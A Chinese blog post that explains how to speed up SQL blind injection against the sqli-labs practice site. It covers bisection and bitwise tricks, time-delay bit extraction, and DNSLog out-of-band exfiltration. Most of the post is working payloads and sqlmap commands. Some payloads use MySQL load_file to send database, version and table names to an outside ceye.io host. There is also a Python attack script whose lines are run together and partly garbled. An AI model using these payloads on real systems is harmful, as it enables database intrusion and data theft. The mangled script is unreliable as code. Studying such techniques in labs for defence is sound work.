SQL盲注加速方法总结
创始人
2024-05-24 06:14:02
0

sql盲注加速方法总结

盲注分为布尔盲注和时间盲注,一般为加快测试速度都用工具或者脚本跑。但有时还是很慢,这时就需要采取另外办法。在参考了一些资料后经过实验总结可行方案如下。1.二分法加速、2.与运算加速、3.二进制延时注入加速、4.dnslog OOB外带通信

常规的布尔盲注

猜解数据库名字的长度
?id=-1' or length(database())=8--+逐一猜解数据库
?id=-1' or ascii(substr(database(),1,1))=115--+
或者
?id=-1' or ascii(mid(database(),1,1))=115--+
或者
?id=-1' or mid(database(),1,1)='s'--+按照相同的方法猜解数据表的名字和字段内容
?id=-1' or ascii(mid(select (table_name) from information_schema.tables where
table_schema=database() limit 1,1))=?--+

常规的时间盲注

猜解数据库名字的长度
?id=-1' or if(length(database())=8,sleep(5),0)--+猜解数据库名称
?id=-1' or if(ascii(mid(database(),1,1))<=135,sleep(5),0)--+
相同的方式猜解数据表数据字段

以sqli-lab靶场Less9为例进行测试

常规的sqlmap跑一下

sqlmap -u "http://192.168.3.17/sqli-labs/Less-9/?id=1" --tech=T --dbms=mysql --current-db --batch

在这里插入图片描述

总共耗时约67s,在爆表时花费11s

1.二分法加速

二分法也是一个常规的算法,数据量太大太小都不适合该算法。而我们盲注加速匹配字符的条件正好合适。

主要原理就是从中间截断,不断缩小检索范围。

在sqli-labs Less8中有判断依据You are in …,因此可以使用布尔盲注。以下是copy别人的二分法脚本

import requests
import time
import mathdef binarySearch(url,payload,start,end):left=startright=endwhile left{}%23"return binarySearch(url,payload,0,100)def database_name(url): #二分法databasename = ''aa = database_len(url)for i in range(1, aa + 1):payload = "?id=1'and ascii(substr(database()," + str(i) + ",1))>{}%23"#print(payload)databasename += chr(binarySearch(url, payload, 32, 126))return databasenamedef main():url = "http://192.168.3.17/sqli-labs/Less-8/"datalen = database_len(url)print(datalen)result = database_name(url)print(result)if __name__ == '__main__':main()

结果

在这里插入图片描述

2.与运算加速

主要原理是目标字符转为8位二进制通过1,2,4,8,16,32,64,128各位1进行与运算比较,在比较后就能确定各个比特位具体数值从而推出答案。直接采取字符比较的方式由于ASCII码范围为0~127比较范围比较大耗时长,在通过与运算后只需要比较7次就能确定字符的ascii码

经与运算加速后的py脚本比较hello world!

def compute_by_and(word):for ele in word:ele_b, times = get_character(ele)print(f"Guess the value {ele_b}:{chr(ele_b)} with {times} times")
def get_character(char):char_b = ord(char)value = 0times = 0for i in range(7):times = times + 1if char_b & (2**i):value = value + (2**i)return value, times
if __name__ == "__main__":compute_by_and("hello")

输出结果,总共比较次数7*12=84次

在这里插入图片描述

字符直接比较需要382次,速度差距还是挺大的

import string
def brute_force(word):times = 0for ele in word:for c in string.printable:times = times + 1if ele == c:breakprint(f"Brute force {word} with {times} times")
if __name__ == "__main__":brute_force("hello world!")

在这里插入图片描述

3.二进制延时注入加速

将ascii码转换为二进制,然后判断首位是0还是1,从而来更快的判断出数据库名字

以select @@version为例

在这里插入图片描述

取@@version第一位

select mid((select @@version),1,1)

在这里插入图片描述

第一位字符转ASCII码

select ORD(mid((select @@version),1,1))

在这里插入图片描述

ASCII码转换为二进制

select BIN(ORD(mid((select @@version),1,1)))

在这里插入图片描述

二进制用0填充补齐8位

select LPAD(BIN(ORD(mid((select @@version),1,1))),8,0)

在这里插入图片描述

取二进制第一位

在这里插入图片描述

延时判断是0还是1

select if(1=MID(LPAD(BIN(ORD(mid((select @@version),1,1))),8,0),1,1),sleep(20),0)

4.dnslog

原理:

首先理解UNC(Universal Naming Convention) 通用命名规则,格式如下

#sername为服务器名,sharename为共享资源名
\\servername\sharename

打印机、网络共享文件夹等都会使用到UNC,在使用UNC路径进行查询时会对域名进行DNS查询

在这里插入图片描述

在DNS服务器会接收到请求

在这里插入图片描述

利用OOB(out-of-band)外带通信传递信息

\\tpa.xxxxx.ceye.io\x

在这里插入图片描述

已经传带了信息

在这里插入图片描述

在mysql中利用函数load_file进行OOB外带通信

select load_file('//tpa2.xxx.ceye.io/x')

以此原理可以将查询的数据携带出来

select load_file(concat('//',(select version()),'.xxx.ceye.io/x')))

条件:

1.Web服务器为Windows,UNC为Windows特有
2.数据库load_file函数可用,需要用户有file_priv权限
在这里插入图片描述

3.mysql的secure_file_priv不为NULL,有些高版本的mysql中的secure_file_priv默认为NULL

secure_file_priv特性secure_file_priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出。 
secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下。 
secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。

需要在配置文件my.ini中对secure_file_priv进行更改

本机采用的是5.7版本的mysql数据库,secure_file_priv存在默认的路径
在这里插入图片描述

之前的配置

在这里插入图片描述

修改如下

在这里插入图片描述

在修改完配置文件后需要重启mysql服务

在这里插入图片描述

这时secure_file_priv就为空了

在这里插入图片描述

4.域名前缀长度限制为63个字符,利用函数多次显示如mid(),substr(),substring()

5.域名前缀不支持特殊字符,先加密再解密绕过如hex()

利用:

需要用到dns平台,可以自己搭建也可以利用平台,这里直接使用ceye

原sql

SELECT * FROM users WHERE id='$id' LIMIT 0,1

我们构造后的sql

SELECT * FROM users WHERE id='-1' or (select load_file(concat('//',(select version()),'.xxxx.ceye.io/x')))%23 LIMIT 0,1

执行sql后在DNS记录中找到了数据库version

在这里插入图片描述

响应查询版本的payload

or (select load_file(concat('//',(select version()),'.xxxxx.ceye.io/x')))%23

其他payload

爆库

or (select load_file(concat('//',(select database()),'.xxxxx.ceye.io/x')))%23

爆表

or (select load_file(concat('//',(select hex(group_concat(table_name)) from information_schema.tables where table_schema=database()),'.xxxxx.ceye.io/x')))%23

在这里插入图片描述

对hex加密后的编码进行解密,转ASCII Hex得到表名

在这里插入图片描述

sqlmap中也有响应的DNS参数 -dns-domain

sqlmap -u "http://192.168.3.17/sqli-labs/Less-9/?id=1" --dbms=mysql --dns-domain xxxxx.ceye.io --current-db --batch

但是在像ceye这种在线平台并不会生效,会出现errordata retrieval through DNS channel failed. Turning off DNS exfiltration support
在这里插入图片描述

想要用sqlmap跑,需准备vps或者云服务器以及域名,sqlmap需要运行在DNS解析的服务器上,在追加–dns-domain参数后会在服务器监听53端口进行接收靶机发起的DNS请求

相关内容

热门资讯

喜欢穿一身黑的男生性格(喜欢穿... 今天百科达人给各位分享喜欢穿一身黑的男生性格的知识,其中也会对喜欢穿一身黑衣服的男人人好相处吗进行解...
发春是什么意思(思春和发春是什... 本篇文章极速百科给大家谈谈发春是什么意思,以及思春和发春是什么意思对应的知识点,希望对各位有所帮助,...
网络用语zl是什么意思(zl是... 今天给各位分享网络用语zl是什么意思的知识,其中也会对zl是啥意思是什么网络用语进行解释,如果能碰巧...
为什么酷狗音乐自己唱的歌不能下... 本篇文章极速百科小编给大家谈谈为什么酷狗音乐自己唱的歌不能下载到本地?,以及为什么酷狗下载的歌曲不是...
华为下载未安装的文件去哪找(华... 今天百科达人给各位分享华为下载未安装的文件去哪找的知识,其中也会对华为下载未安装的文件去哪找到进行解...
家里可以做假山养金鱼吗(假山能... 今天百科达人给各位分享家里可以做假山养金鱼吗的知识,其中也会对假山能放鱼缸里吗进行解释,如果能碰巧解...
四分五裂是什么生肖什么动物(四... 本篇文章极速百科小编给大家谈谈四分五裂是什么生肖什么动物,以及四分五裂打一生肖是什么对应的知识点,希...
怎么往应用助手里添加应用(应用... 今天百科达人给各位分享怎么往应用助手里添加应用的知识,其中也会对应用助手怎么添加微信进行解释,如果能...
客厅放八骏马摆件可以吗(家里摆... 今天给各位分享客厅放八骏马摆件可以吗的知识,其中也会对家里摆八骏马摆件好吗进行解释,如果能碰巧解决你...
美团联名卡审核成功待激活(美团... 今天百科达人给各位分享美团联名卡审核成功待激活的知识,其中也会对美团联名卡审核未通过进行解释,如果能...